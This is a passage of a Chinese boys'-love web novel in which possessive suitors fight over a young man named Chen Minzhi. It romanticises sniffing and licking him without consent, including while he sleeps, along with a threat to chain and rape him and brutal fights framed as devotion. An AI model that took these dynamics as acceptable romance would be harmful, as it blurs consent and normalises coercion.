陈悯之正在懊恼自己到底是怎么吸引了这么多变态的,一抬头,却发现卫殊正目光直直地盯着他看,一边看一边咽喉咙,看着好像口水都快滴下来了 倒也不比色中恶狗好到哪里去了。 陈悯之下意识裹紧了毯子,往后退了退:“你你在看什么?” 他裹得严严实实的,没有哪里露出来吧? 卫殊盯着他,喉结上下滚动一下,声音嘶哑地不正常:“悯悯,你穿上裙子很漂亮。” 比小时候,他第一次见到小公主的时候还要漂亮。 少年的五官已经完全长开了,眼眸乌黑,唇瓣朱红,脸颊线条是一种成熟的柔软,被蕾丝宽檐帽衬托得白里透粉,仿佛饱满的果实,光是看着都仿佛能闻到从上面传来的馥郁香气。 他光是看着,身上就已经不受控制地起了反应。 陈悯之现在已经不是未经人事的白纸,他看着气息粗重的男人,再听着对方喑哑到不正常的声音,哪儿还不知道发生了什么,视线往下一瞥,果然瞥见被高高撑起的裤料 主要是太大太明显了,想不注意到都困难。 少年的脸一瞬间被粉红色弥漫,又羞又恼:“你、你怎么” 卫殊倒是没有遮掩的意思,大大方方地张着腿,视线不躲不避地盯着他:“对不起,悯悯,它一见到你就很兴奋,我控制不了它。” 陈悯之脸上烫得能蒸鸡蛋,虽说话糙理不糙,但卫殊这话也太糙了好歹也拿个东西挡一下,就这么放着像什么话 他羞得说不出话,只能把脸转过去对着窗外,但即使这样,也依旧能感受到从后脑勺传过来的灼热视线。 陈悯之被盯得没办法,只得转过身,干巴巴地转移话题:“我们这是去哪儿?” 卫殊问:“你想去哪儿?” 陈悯之想了想:“我想回宿舍。” 卫殊顿了顿:“再过段时间就要开学了,你还要回去和秦陌一起住?” 陈悯之:“不是,我打算去外面租房子住,回宿舍只是收拾东西。” 卫殊喉结滚了滚,道:“去我家住吧,悯悯,这样我好保护你。” 陈悯之却摇了摇头:“我要住自己的房子。” 他当然知道,住卫殊家里会更安全,能够有效防止在外面虎视眈眈的几条恶犬偷闯进来,但他现在已经不是从前那个只会逃避、一遇到麻烦就去寻找他人荫蔽的陈悯之了。 逃避是没有用的,就像他从前想要逃避卫殊,逃避陆承轩,却让自己从一个窟窿掉进另一个窟窿一样。 唯有兵来将挡,水来土掩,今后无论发生什么,他都会勇敢地面对。 * 回到宿舍,陈悯之做的第一件事情就是把身上繁复的裙子脱下来,换上自己的衣服。 当然,他做这些的时候,卫殊是被关在宿舍门外的。 要是以前,陈悯之还不会这么注意这些,觉得大家都是兄弟,男生宿舍换衣服哪儿还有把兄弟关在门外的。 但今时不同往日,在知道身边的兄弟都是觊觎他的恶狗之后,陈悯之就像一只时刻都捂着自己肚皮的兔子,警惕非常,生怕不小心露出一点肉来给狗舔了。 换好衣服,他把门外的卫殊放进来:“你先坐吧,我收拾下东西。” 卫殊说:“我帮你。” 陈悯之没拒绝,今天还要去找房子,两个人收拾起来快一点也好。 然而他没想到的是,这头他刚收拾好书本,转头就看见卫殊站在椅子旁边,闻他刚换下来的衣服。 男人手里抓着一片薄薄的粉色布料,纯棉质地,因为是贴身穿的,十足柔软,但也十分脆弱,没几下就被男人粗糙的大手捏得皱巴巴的。 陈悯之登时满脸通红:“你干什么!” 卫殊动作一顿,脸上闪过一抹被抓包的心虚,但手上却很实诚地抓着布料没有放开,两眼直勾勾地看着他:“悯悯,这是什么?” 陈悯之走上前,把那片布料从他手里抓过来,羞臊得恨不得钻进地里去:“别问了。” 那是一片胸衣,仿照17、18世纪女式的紧身束胸款式,却没有当时的紧身束胸穿起来那么勒,而是兼具了美观与舒适性,还做成了贴身穿的款,纯粹是陆承轩搞出来让他穿的恶趣味。 “这套裙子不要了,不用装进箱子里。”陈悯之道。 “哦。”卫殊讪讪放下手,转头继续帮他收拾东西。 华丽的裙装被随意丢弃在椅子上,旁边散落着一系列配套的衬衫、束腰、大檐帽、长筒棉袜、蝴蝶结等,东西繁多。 没有人注意到,里面少了一件粉色的胸衣。 * 二人转了一天,最后选了套一室一厅的房子。 陈悯之选这么个小户型倒不是因为钱,而是怕房间多了,一些狗闻着味儿就会跟着住进来。 选房的时候卫殊没有异议,只是陪着他看,然后帮他吓唬走一些一看就是奸商的中介,陈悯之便也放下心。 卫殊毕竟不像其他几个变态,不会非要来和他一起睡的。 然而他没想到,在新房忙活完,二人一起吃过晚饭后,男人仍然没有要走的意思。 陈悯之疑惑道:“你不走吗?” 卫殊:“我跟你一起住,那几个人一定会来找你,我在你身边,才好保护你。” 陈悯之一愣:“可是这里只有一间房” 卫殊:“我可以睡地板。” 陈悯之为难地抠着手指头,但在男人不容拒绝的坚持下,最终还是只得答应。 晚上,陈悯之睡在床上,卫殊在地上打地铺。 他一开始让卫殊去睡沙发,卫殊却怎么也不答应,一定要和他睡在一间房内,说这样万一有狗半夜来偷家他才能护着他不被偷走 搞得好像他是什么香喷喷的肉骨头一样。 原本睡眠很好的陈悯之,躺在床上却怎么也睡不着。 陆承轩就算了,他之前对他做了那么多坏事,这么多年趁着他睡着的时候不知道在他脸上舔了多少口,陈悯之是万万不敢让他上床的,睡地板都是便宜他了。 可卫殊卫殊从来没有对他做过什么不好的事,还一直在保护他,今天也帮着他忙活了一天,他晚上还让人睡地板,多少有点不厚道。 而且现在是冬天,虽说有空调,但在外面租的房子不比在城堡里,又没有地暖,不知道卫殊睡着会不会冷 他在床上辗转反侧,睁着眼睛好半天没睡着,而躺在地板上的卫殊显然也没睡,在黑暗中哑着声音问:“怎么了?” 陈悯之攥着被子边缘,话在嘴边转了又转,明知这是引狗入窝,最终还是放弃挣扎地道:“你要不要到床上来睡?” 第47章 第 47 章 “对不起,悯悯,你太香…… 48 黑暗中, 卫殊蹭地一下从地上坐起来:“你说什么?” 男人身形高大,即使坐在地上也像一座隆起的山峦,炯炯发亮的眼眸仿佛在黑夜中捕食的野兽, 翻涌着浓重的、属于动物一般的原始欲.望。 任何人看到这样一双眸子, 都会意识到眼前的男人有多危险。 但陈悯之没有看见,因为他正难为情地缩着脑袋, 小声重复:“我说,你要不要到床上来,和我一起睡?” 卫殊喉结滚了滚,脖颈上血管因为极度的用力而凸起,像是某种下一刻就忍不住要吃肉的兽类,但还是哑着声音再次询问:“可以吗?” 陈悯之蚊子似的“嗯”了一声。 只是在一张床上睡而已,应该不会有什么事卫殊又不像其他几个变态, 他不是坏人陈悯之咬着嘴巴想着。 可下一刻, 他后背忽然一凉,随即,一具热乎乎的, 火炭似的躯体贴了上来。 回头一瞧, 是卫殊撩开了他的被窝, 钻了进来。 陈悯之惊恐地连连往旁边缩:“你干什么!” 卫殊:“和你一起睡。” 陈悯之睁大眼睛:“我说的是让你上床睡,又没说要和你同盖一床被子, 你自己不是有被子吗!” “哦。”卫殊从喉咙里咕噜一声, 像是才想起来自己还有被子似的, 闷着个脑袋下床去地上捡。 等他把被子捡上来, 陈悯之才松了一口气,裹紧自己的被子,往旁边挪了挪, 给卫殊腾出一块儿地方。 陈悯之有点郁闷,他租房子的时候想的是自己一个人住,租的房子不大,卧室的床自然也不大,卫殊体格又高大,睡在床上都快把床挤满了,几乎就是贴着他睡一样,原以为租个小房子可以防着外面的狗进来,现在看来却是搬起石头砸自己的脚。 唉,陈悯之在心底叹了口气,但不管怎么说,还是比和那几个变态一起住好多了。 他扯了扯身上的被子,把自己裹成一个密不透风的蚕宝宝,只露出一个脑袋,背过身去打算睡觉。 但刚闭上眼睛没一会儿,陈悯之就感觉到了喷洒在后颈处的、滚烫又湿热的气息。 他立刻警惕地转过身,发现男人跟一条发现肉骨头的狗似的,正贴着他的脖子用力嗅闻。 陈悯之气极:“卫殊!” 被叫到名字的男人,就像条被主人点了名的凶恶大型犬,讪讪地收回自己馋得滴水的舌头,喉咙里一个劲儿地吞咽着口水:“对不起,悯悯,你太香了。” 陈悯之睁着一双圆圆的眼睛,他真是搞不明白这些男人为什么一个二个都说他身上香了,自从陆承轩说他身上香后,他后面专门去买的无香型的香皂,洗完澡都还要专门闻一下自己,生怕有什么香味又勾来舔他的狗。 他扯开睡衣领口,低头又闻了一下自己,明明就什么都没闻到,生气地对卫殊说:“你骗我!我身上明明就没有什么香味。” 殊不知这样拉开领口,秀美纤细的脖颈和胸口处白.花.花的一小片软肉都露了出来,对男人无异于明晃晃的勾.引。 卫殊的呼吸又粗重了些,到了嘴边的“没有骗你”,不知怎地就变成了:“是吗,那我再闻闻。” 说着,他把脑袋凑过去,学着刚才陈悯之自己扯开领口的动作,宽大有力的指节扯开了少年领口处的衣料,对着那片白,腻的软.肉深深埋下去闻 更香了。 靠近少年胸口的地方,比后颈处温度更高,散发着温暖而馥郁的香气,那是一种少年身上自带的,任何香水都无法仿造出的勾人体香。 男人抓着少年的领口,力道大得衣领都被扯变形,他像是一只进了酒池肉林的狗,近乎贪婪地嗅闻着弥漫在鼻间的馥郁芳香,偏偏散发着香气的少年还毫无所觉,疑惑地歪着脑袋问他:“闻到了吗?” 陈悯之问了好几遍都没得到回答,正当他以为是自己声音太小了,准备再问大声一点时,胸口上忽然传来湿热的触感。 卫殊在他胸前舔了一口。 陈悯之不敢置信地瞪大眼睛,想也不想,“啪”地一巴掌就挥了出去。 他像只一不注意就被人啃了一口的兔子,捂着胸口,羞愤道:“你干什么!” 卫殊被扇了一巴掌,才陡然间回过神似的,抬起脸,讷讷地道:“香、香的。” 陈悯之:“香的你也不能舔!” 卫殊:“哦,我错了,错了老婆。” 陈悯之再次瞪大眼睛:“什么老婆?我不是你老婆,不准叫我老婆。” 卫殊还是呆呆地看着他,傻了一般地回道:“知道了老婆。” 男人视线如同胶水一般粘在他胸口被舔过的位置,说他傻吧,他还知道盯着人胸看,说他不傻吧,又跟听不懂人话似的。 倒像是话本里被妖精勾走了魂儿的男人,眼里只剩下又浓又深的欲.望。 可他又不是什么妖精,陈悯之生气地想,他气得鼓着圆圆的眼睛,嘴巴翕动半晌,又觉得卫殊现在这个状态,说什么都是对牛弹琴,遂闭上嘴巴,转过身去背对着卫殊不说话。 陈悯之眼睛闭了一会儿,又睁开,转回去,犹犹豫豫地问:“你你脸疼不疼?” 对此,陈悯之也有点郁闷。 他脾气在大多数时候都是很好的,并没有什么喜欢扇人巴掌的习惯,但最近几个月,他几乎扇完了人生中所有的巴掌,细细想来,秦陌、顾明珏、陆承轩、卫殊好像每个人脸上都挨过他的巴掌。 他也不想的但这些男人每次都太过分了,他就像一只面对凶残的猛兽时,浑身戒备的兔子,本能促使他的身体反应比意识更快,当遇到危险,他自己都还没反应过来,挠人的爪子就已经挥了出去。 更令陈悯之费解的是,这些人每次被打之后非但不生气,反倒一脸爽到了的样子,也不知是哪根筋搭错了 不过卫殊卫殊应该和那几个变态不一样,陈悯之这么想着,便想着要不还是和卫殊道个歉 就在他道歉的话要说出口的时候,他听卫殊道:“不疼,老婆的手是香的,很舒服,老婆还可以再打几下。” 陈悯之:“ ” 算了,一丘之貉。 卫殊视线直勾勾地盯着他,喉结上下吞咽,像一条涎水都快止不住的大狼狗:“老婆,我能再闻一下吗?” 刚被舔过一口的陈悯之哪儿还会犯第二次错误,当即斩钉截铁地拒绝:“不许闻了!睡觉!” “哦。”卫殊失落地答道,如同他身后有条大尾巴的话,现在大概也已经垂下来了。 陈悯之又把一个靠枕放在中间,说:“不准越过这条线!” 卫殊看了眼靠枕,抬起头时,眼睛里带了些乞求:“老婆“ 陈悯之说:“不然你就到下面去睡。” 卫殊立刻闭嘴了。 陈悯之这才终于放心了,转过头去,沉入了梦乡。 夜深人静,浴室里响起哗哗的水声,像是怕惊扰了床上沉睡的人,那花洒声开得小,因此里面掺杂的一些其他的声音便格外明显,比如一些黏.稠的水声,或是男人时不时响起的沉闷喘.息。 半小时后,沾着水汽和些许其他气味的男人重新爬上了床,抓起放在中间的靠枕,像对待什么很讨厌的东西一样,冷漠地扔到地上,又将它一脚踢到了床底下。 然后,他动作轻柔地环抱住了睡梦中的少年,低头在少年后颈处深嗅,又伸出舌头,在那雪白细腻的皮肤上舔了一口。 像是某种抱着骨头不松手的大狼狗般,男人用高大身形将小了一号的少年牢牢困在了怀里,低沉而餍足地叫道: “老婆。” * 陈悯之醒来时发现放在中间的小枕头不见了,很疑惑地问卫殊:“你看见那个靠枕了吗?” 卫殊摇摇头:“没看见。” 陈悯之不解地挠挠脑袋:“奇怪,昨天晚上还在这里的啊” 他其实有点怀疑卫殊到底有没有遵守那条楚河汉界,但今天早上醒来时,男人安安分分地待在自己那半边,没有越过来一点,身上也没出现什么奇怪的痕迹,陈悯之便没有太担心。 卫殊拉住东找西找的他,说:“别找了,重新再买一个吧。” “好吧。”陈悯之道,正好他打算去超市添置一些家里要用的东西。 吃过午饭,两人便去了附近的一所大型商场。 选购了一些基础用品之后,二人来到家纺区。 卧室里现在那床四件套是陈悯之自己从老家带来的,放单人床合适,但用来铺双人床就显得有些小了,打算买一套新的换掉。 再过几个月就是夏天,陈悯之原本想买一床轻薄一点的,却见卫殊抓着一床布料更厚实的,说:“这床吧,这床耐磨。” 陈悯之疑惑:“要那么耐磨做什么?” 卫殊看他一眼,不知怎地耳根有些红,磕巴着道:“耐、耐磨的,不容易坏。” 陈悯之更迷惑了。 他又不是每天睡在床上打滚,怎么会坏呢?还没听说过谁光是睡觉把床单都睡坏掉的。 不过卫殊这么说,一定有他的道理吧,左右是卫殊出钱,就听他的好了。 但陈悯之怎么也没想到,卫殊最后买了四套床品,一天换一套都够了。 陈悯之:“你买这么多做什么?” 卫殊:“脏了好换。” 陈悯之:“那也不用买四套吧,床单又不是每天都要换。” 卫殊不知想到什么,目光有些躲闪:“万一呢。” 万一以后每天都要换呢。 说不定上午换一套,下午换一套。 卫殊在心里想,还是多准备些好。 陈悯之摇摇头,算了,看卫殊那么高兴的样子,随他去吧。 然而这阵高兴并没有持续多久。 因为他们刚结完账,就看到了前方不远处立着的男人。 陆承轩笑着,看过来的眼底却是冷的:“哥哥买这么多床品,是要做什么用呀?” 第48章 第 48 章 “你们不要再打了!”…… 49 时隔多日, 再次见到陆承轩,被男人幽禁在城堡里,被迫穿上华丽的公主裙, 被男人抱在怀里反复舔舐亲吻的回忆又不受控制地涌上陈悯之的脑海。 他本能地, 习惯性地想要往卫殊身后躲,但想起什么, 又忽然停住了脚步。 他已经决定不再逃避了。 陈悯之深吸一口气,不躲不避地和陆承轩的目光对上:“买床品当然是睡觉用。” 陆承轩脸上的笑容消失了。 他的目光如同尖利的锥子,一寸寸扎入面前两人的身体里:“哥哥是要和谁睡觉呢?和他吗?” 换做从前,陈悯之大概会被男人这幅模样吓到,像在城堡里的时候一样,只能顺着疯狗的毛捋,好让自己不要太快被吃掉。 但现在, 他看了一眼站在自己身边的卫殊, 不知怎的心底忽然就有了底气,说出了一句连他自己都有些惊讶的话:“我和谁睡觉都是我的自由,不要你管。” 此话一出, 陆承轩脸上的神色变得非常可怕, 眼眸阴沉, 盛满妒忌与恨意,仿佛汩汩翻涌的毒液, 他盯着陈悯之, 一字一句, 阴森森道:“所以, 你们睡过了,是吗?” “我疼惜哥哥,这么久以来都没有对哥哥做什么, 哥哥表面上哄着我,却转头就爬上了别的男人的床,哥哥真是好狠的心啊。” 陈悯之抿着嘴巴,想说什么,却终究没说出口。 他望着陆承轩,这个自己的至交好友,自己从小当做亲弟弟一般看待的人,眼底是浓浓的失望。 “是我的错。”陆承轩忽然笑了一下,仿佛自嘲,“我不该对哥哥这么心软的。” 男人的目光像是一条阴冷的毒蛇,密密麻麻地缠绕上少年的全身:“既然早知哥哥这么爱勾.引男人,我从一开始,就该把哥哥用链子锁起来起来操.烂才对。” 陈悯之瞪大眼睛,不敢置信地望着他,尽管已经了解过陆承轩不为人知的另一面,但他依旧不敢相信陆承轩会对他说出这样的话。 那个一直陪伴在他身边的,会逗他笑,会保护他的,那只毛茸茸的温暖金毛犬,好像已经不复存在了。 眼前这只,只是一条会将他撕咬殆尽的恶狗。 陈悯之红了眼眶。 他失望地最后看了一眼陆承轩,也不打算再辩解,转身欲走,却在下一刻听到一道巨大而沉闷的肉.体撞击声。 一直沉默着站在他身侧的卫殊,早在他转身的那一瞬,就如同一只漆黑的猎豹一般冲了出去,宽大而坚硬的指节攥得如同钢铁,恶狠狠地砸在了陆承轩脸上。 只听“咔嚓”一声,陆承轩的鼻梁骨应声而断,两行鲜红的鼻血流下来,让那张英俊却阴戾的脸上带了一丝滑稽,却也因为脸上沾染的血光,而让那双毒蛇似的眸子显得杀意更甚。 “砰——” 陆承轩也不是吃素的,当即毫不客气地一拳回击过去,只不过卫殊躲得快,这原本指向他鼻梁骨的一拳只打中了他的侧脸,颧骨坚硬,倒是没立刻被打断,但卫殊的嘴角依旧渗出了一丝血痕。 卫殊并未去擦唇角的血,而是仿佛一头被激怒的猛兽一般,双目血红,凶戾得可怖:“你再说一句欺负他的话,我就撕烂你的狗嘴。” 陆承轩站稳身体,用袖口擦了擦鼻子上的血,冷笑一声:“哪里来的野狗,也配在我跟哥哥面前嗷嗷狂吠。” 他死死盯着卫殊:“我跟哥哥之间的事,不需要你这个第三者插——” 话音未落,又是一拳携着摧山倒海的力度狠狠撞在他脸上,陆承轩没料到对方会再次出手,毫无防备,顿时被这一拳砸得飞出老远,好不容易才稳住身体没让自己摔个狗吃屎。 卫殊拳头上犹带血迹,攥得咯咯作响:“你根本不配喜欢他。” 陆承轩脖子上青筋鼓胀,几个跨步上前,一把扯住卫殊的衣领,礼尚往来地往他脸上回击了一拳。 那张英俊面容变得阴狠扭曲,仿佛蜿蜒爬行的毒蛇:“我不配,难道你就配了?” 都是阴沟里肖想太阳的臭狗,卫殊又比他高贵到哪里去? “我配不配,你说了不算,我老婆说了才算。”卫殊一边接招一边冷嗤,“我老婆都跟我一起来买床品了,我不比你更配?” 他不提这茬儿还好,一提这茬儿,陆承轩想到二人背着他发生的事情,只气得咬牙切齿:“你他妈叫谁老婆呢?” 卫殊肌肉虬结的的手臂如钢铁般鼓起,凶狠地回敬:“叫我老婆,难不成还能是叫你老婆?你又没有老婆。” 陆承轩冷笑:“唱独角戏的小丑罢了,你看你这么叫他,他搭不搭理你?” 卫殊道:“怎么不搭理?你这么想听,我就叫一声给你听听。” 说罢,从二人缠斗的间隙中扭过头去,拔高声音喊道:“老婆!” 那头,站在风波之外的陈悯之呆愣愣地抬头:“啊?” 两人你来我往地过招,一分钟便是十几个回合,一切只发生在电光火石之间,陈悯之完全没想到二人会突然打起来,还是这种不要命的凶狠打法,整个人都吓蒙了,短时间内压根没反应过来,直到卫殊这一声,才把他陡然叫回了魂儿。 再一看,地板上的两人都已经鼻青脸肿,打得脸上全是血,却还没有要停下来的趋势,陈悯之连忙上前劝阻:“别打了!你们不要再打了!” 谁知他一应声,正在缠斗的两人不约而同地停顿了两秒钟,随即就更两头杀红了眼的雄兽一般,打得更激烈了,他压根插不进手,更别提找出空档把二人拉开。 商场里的路人见二人这架势,更以为是碰上□□斗殴了,吓得有多远跑多远,他想找个能帮忙的人都找不到。 陈悯之急得大喊:“别打了!要出人命了!” 奈何眼前两人对他的话充耳不闻,陈悯之眼看他们打得越来越激烈,再顾不上许多,冲上前去,张开手臂抱住了正在相互撕咬的两条疯狗。 风暴止息了。 身处风暴之中的少年,紧紧闭着眼睛,害怕得眼睫簌簌颤抖,却仍然鼓起勇气,如同献身的圣子一般,将自己置于了两头恶狼之中。 他面容柔和白净,即使害怕,也掩不住那张脸上的心痛与怜悯:“你们已经受伤了,不要再打了,好吗?” 一片静默。 卫殊先哑声开口:“好,我都听你的。” 陆承轩紧跟着不甘示弱地道:“嗯,我听哥哥的。” 陈悯之终于松了一口气,他看着满脸是血的两人,心有余悸地道:“现在,跟着我去医院,好不好?” 两个伤员看他一眼,都从喉咙里发出模糊的一声嗯。 * 一进医院,陆承轩就率先昏迷了过去。 他虽然也练过一些格斗技巧,肌肉力量也并不弱,但到底比不过身为体育生,一天训练八小时打底的卫殊,刚才全凭一股不服输与嫉妒的劲儿强撑着,早已经是强弩之末,拍片一查,全身上下多处骨折、关节错位,连内脏都险些被打破了。 陈悯之吓得脸色苍白,看着手术室里亮起的红灯,一个劲儿地抓着卫殊问:“他不会死吧?” 卫殊见他这幅着急模样,闷着张脸不太高兴的样子,但还是回答道:“我没往他要害处打,死不了。” 最多也就是个轻级伤残罢了。 陈悯之又忙抓着卫殊:“你呢?你怎么样?CT结果出来了吗?” 卫殊看了眼少年抓着自己的手,以及那双同样对他露出关怀的乌黑眼睛,喉结滚了一下,心头说不上是什么滋味:“老婆放心,我没事。” 陆承轩那厮虽然出些阴招儿,净往他要害处打,看着就是奔着要他命去的,但他从小跟人打到大,要论打架,陆承轩根本不是他的对手,他到最后只受了些皮外伤,也就是看着吓人罢了。 但卫殊怎么也没想到,陈悯之竟然为此掉了眼泪。 少年一双圆眼睛红得像兔子,乌黑纤长的眼睫上挂着泪珠,哭得一颤一颤,看上去可怜至极,却也漂亮至极。 卫殊看得连呼吸都停滞了,他还是第一次见到小公主哭,没想到小公主哭起来也这样漂亮,漂亮得他心都要跳出来,只想要抱着小公主亲两口,舔掉他脸上的眼泪,又难受得他心都快要碎掉了,只想要小公主以后再也不要这么哭了。 打起架来浑身是招儿的男人,此刻却显得笨嘴拙舌,手足无措:“别哭,你别哭啊老婆。” 可少年像是真被吓坏了,眼泪像是断了线的珠子一般掉个不停,他哭起来也并不大声,只是小声地抽泣,却也因此更惹人心疼。 卫殊一颗心像是被紧紧攥住,俯身想要吻去少年脸上的泪,却又在嘴唇将要触碰到少年脸颊的时候停下来,抬手用粗糙的指腹拭去了少年的眼泪。 “别哭了。”男人声音哑得像砂纸,“你再哭,我就要忍不住吻你了。” 陈悯之立刻便吓得不敢哭了。 少年眼睛红红的,嘴唇润润的,呆呆地望着男人,有些害怕,又有些害羞的模样。 卫殊喉头滚了又滚,道:“逗你的。” 陈悯之溜圆的眼睛瞪着他,嘴巴张开又闭上,最后很认真地看着他说:“卫殊,你答应我一件事,好不好?” 卫殊:“只要你说,我一定答应。” 陈悯之:“你以后不许再打架了,就算是为了我也不行。” 卫殊停顿片刻:“老婆,你先等我一下。” 说罢转身出了医院。 陈悯之原以为卫殊说的一下只是一小会儿,却没想到直到傍晚卫殊才从外面回来,不仅如此,他脸上又多出了新的几块儿淤青。 而随着他一同进入这所全市最好的医院的,还有另外两名身负重伤、昏迷不醒的伤员。 第49章 第 49 章 保护公主是骑士的荣耀。…… 50 陈悯之惊讶地看着卫殊脸上多出来的新鲜伤口, 不解地问:“你去哪儿了?怎么又受了伤?” 卫殊犹豫一会儿,还是没有瞒他,支吾着道:“我去把秦陌和顾明珏打了一顿。” 陈悯之震惊地瞪大眼睛:“你没事儿去打他们做什么?“ 卫殊攥紧了拳头, 语句里还掺着未消散的怒火:“他们欺负了你, 我向你承诺过,要让他们付出代价。” 陈悯之一怔。 当时他刚被卫殊从城堡里救出来, 脑子里乱乱的,压根没去注意卫殊说了些什么。 却没想到卫殊如此重信守诺,竟然真去把剩下几个人都打了一顿。 而且看上去就像是因为今天打了陆承轩,顺便就去把剩下两人一起揍了一样,轻松得就像是回家路上顺道去买了个菜。 但陈悯之看着男人脸上那些新鲜的血口和淤青,心底明白这并不轻松,另外两个人不是吃素的, 卫殊在短短一天内一个人打了三个, 身上肯定受了不少伤。 他心疼道:“那你也不用去打他们呀,打人是不对的,你自己也会受伤。” 卫殊目光认真地看着他:“现在我可以答应你了老婆, 你不喜欢, 我以后就不会再打架了, 除非他们再来欺负你。” 陈悯之于是明白了,怪不得卫殊要急吼吼地跑出去, 说让他等他一下。 合着这是要先去把其他几个人揍一顿, 揍完了, 再来答应他的话。 陈悯之一时有些哭笑不得, 道:“我们先去找医生,让他给你把伤口处理了。” 他站起身,却见卫殊执拗地坐在座位上不肯走。 陈悯之问:“怎么了?” 却见卫殊闷着个脑袋:“我不想让医生给我处理伤口。” 陈悯之不解:“为什么?你都破皮了, 不尽快消毒会感染的。” 卫殊道:“我是男人,男人的身体只能给自己老婆看。” 男人身材高大,即使坐着也只比站着的他低了一个头,却像一只讨食的大型犬一般,目光烁烁地自下而上望着他:“老婆,我们回家去,你给我上药好不好?” 陈悯之有些无奈:“我都说了我不是你老婆,而且我哪儿有医生专业,你的伤口还是在医院处理比较好。” 听到他的回答,卫殊沉默着没说话。 半晌,他瞥了一眼旁边刚从手术室里出来没多久,还躺在床上昏迷不醒的陆承轩,闷闷道:“是因为他吗?” 陈悯之:“什么?” 卫殊:“你想留在医院陪他,所以才不跟我回家。” 陈悯之霎时一噎。 陆承轩虽然没什么生命危险,但毕竟伤得比卫殊重上许多,他是想留在医院等陆承轩醒没错,但这和他不跟卫殊回家没关系,他只是觉得让医生给卫殊处理伤口,肯定比他来更好一些。 但他的沉默,在卫殊看来无异于默认。 卫殊一双灼热眼眸黯下来,别过头去,哑声说:“我知道了。” 陈悯之一懵,还没来得及问你知道什么了,就见身材高大的男人从座位上站起身,满身黯然地走了出去。 那姿态莫名让人想起被主人抛弃的、无家可归的可怜大狗,让陈悯之的心脏骤然紧缩了一下,泛起一阵绵密的、针尖般的疼痛。 很轻微,倒不是十分难受,但却很奇异,他不明白自己为什么会有这样的感觉。 等他从愣怔中回过神,男人的身影已经消失不见了。 “卫殊!” 陈悯之忙追出门外,可走廊上也没瞥见卫殊的身影。 他知道卫殊虽然许多时候都很听他的话,但在自己所坚持的事情上总是执拗的,就像从前嘴上答应了不跟着他,又在暗地里一直默默保护他一样。 卫殊说了不会让医生上药,那就是真的不会让医生上药。 但他拖着一副受伤的身体,也不知道会跑到哪里去。 陈悯之焦急地东奔西走,一层楼一层楼地挨着找,最后终于在一楼最旁边的楼梯拐角处发现了卫殊。 而男人正背对着他,一手撑在墙上,另一只手挥舞着紧绷的拳头,对着无辜的墙壁哐哐一通乱砸。 旁边有护士喊道:“诶诶诶干什么呢!这是公共设施,砸坏了你赔啊!” 卫殊回过头,一双眸子烧得猩红,脖颈上青筋毕露,一字一句道:“我赔十倍,现在,闭嘴。” 男人面相天生凶悍,暴怒时更是如同一只发狂的兽类,凶恶到可怖,护士显然也没想到回过头来的会是这么个恶霸,吓了一大跳,连连后退几步,虽然依旧没什么好脸色,但说话的声音都小了许多:“这里不是精神病院,要发疯到别处去发。” 然后就跟撞鬼一样连忙跑走了。 眼看男人又要继续砸墙,陈悯之忙在楼梯上大喊:“卫殊!停下!” 卫殊挥出去的拳头一顿,停滞在墙壁上,他回头,视线与楼梯上的陈悯之相对,随后像是难堪一般地别过头去,肌肉暴起紧绷的手臂松懈掉,缓缓从墙上滑落下来。 陈悯之三步并作两步从楼梯上跑下来,抓着他的手查看,那只手上原本只是在打架的时候留下了一些淤青和小破口,现在却被男人自己在墙上砸得血肉模糊,鲜血从指缝间滴落下来,狰狞可怖。 陈悯之焦急又心疼:“你这是干什么?不让你和人打架,你就跑去和墙壁打架吗?” 卫殊看着低头握着他手,神色焦灼的少年,脑子里不合时宜地出神。 他想起他初见陈悯之时,陈悯之穿着浅粉色的蓬蓬公主裙,用那双干净白皙的手握住了他沾满泥巴的黑手。 就像现在,小公主握着他鲜血淋漓的手掌,眼里也没有一丝一毫的嫌弃,而是盛着快要溢出来的心疼与怜悯。 但似乎也只是心疼与怜悯罢了。 卫殊的眸子黯淡下来。 他承认,他是有私心的。 他想让陈悯之跟他回家,并不单单只是想要少年亲自为他包扎,更是因为他不想让陈悯之和陆承轩待在一起,不想看到他注视着床上的人,一脸关心又担忧的模样。 小公主总是这样,他对谁都很好,可偏偏谁都无法独占他的好。 他原以为自己在陈悯之眼中是不同的,但现在看来,也不过是他一个人的痴心妄想。 但即使这样卫殊垂眸看着自己被少年柔软手掌捧住的那只手。 即使这样,他还是没有办法,将自己的手从那片温暖中抽离出去。 陈悯之见他垂着脑袋不说话,只直愣愣地盯着自己的手,心中浮起一阵担忧。 这孩子,该不会是锤墙把自己脑子锤傻了吧? 他歪着脑袋,还抬手在男人眼前晃了两下:“卫殊?你还好吗?” 卫殊这才像回过神似的,从喉咙里发出一声闷闷的咕噜:“我没事。” 只是他眼神偏过去,还是不太敢与陈悯之对视的样子,就像是背地里违背了主人指令的大狗,被主人发现时心虚了一般。 不过除了心虚,那眼底还掺杂了一抹更复杂的情绪,令人看不分明。 但陈悯之近乎本能地觉察到,卫殊现在似乎是伤心的。 他叹了口气,上前一步,伸出双臂,抱住了比他高出一个头还多的男人。 仿佛安抚一只受伤的凶兽一般,陈悯之用手缓缓抚过男人肌肉隆起的脊背,轻声道:“好了,我陪你回家上药就是了,你不要再伤害自己了,知不知道?” 卫殊身体一僵。 他眼底还带着尚未褪去的猩红,眸光却忽然间亮了起来,灼灼看向陈悯之,好像一个突然得到了期待已久的糖果的孩子,满脸都是突然被幸福砸中的不敢置信与害怕失去这种幸福的不安:“真的?” 陈悯之点点头:“真的。” 卫殊顿了顿,哑声道:“那他呢?你不管了?” 指的是陆承轩,但他连别人的名字出现在陈悯之跟前都不想。 陈悯之自然明白他指的是谁:“我给他请了护工,医院的护士也会照顾他。” 不过几句话的功夫,卫殊眼底的黯淡一扫而空,脸上扬起一个明朗的笑,他紧紧抓住陈悯之的手:“好,我们回家。” * 陈悯之遵循医嘱,买好了需要的药物、无菌纱布等用品,就和卫殊打车回了家。 一回家,他就把卫殊摁到沙发上,让他坐着等,然后自己去洗手消毒。 但陈悯之没想到,等他做完消毒工作回来的时候,沙发上的男人已经脱得全身上下只剩下一条短裤。 陈悯之一愣,磕巴道:“你、你脱衣服做什么?” 卫殊:“我身上也有伤。” 陈悯之才反应过来似的:“哦哦,对哦。” 都是之前那几个变态,动不动就在他面前脱衣服,脱完衣服就来亲他,搞得他现在对脱衣服这个动作都变敏.感了。 陈悯之把脑袋里乱七八糟的想法甩出去,开始认真给卫殊消毒上药。 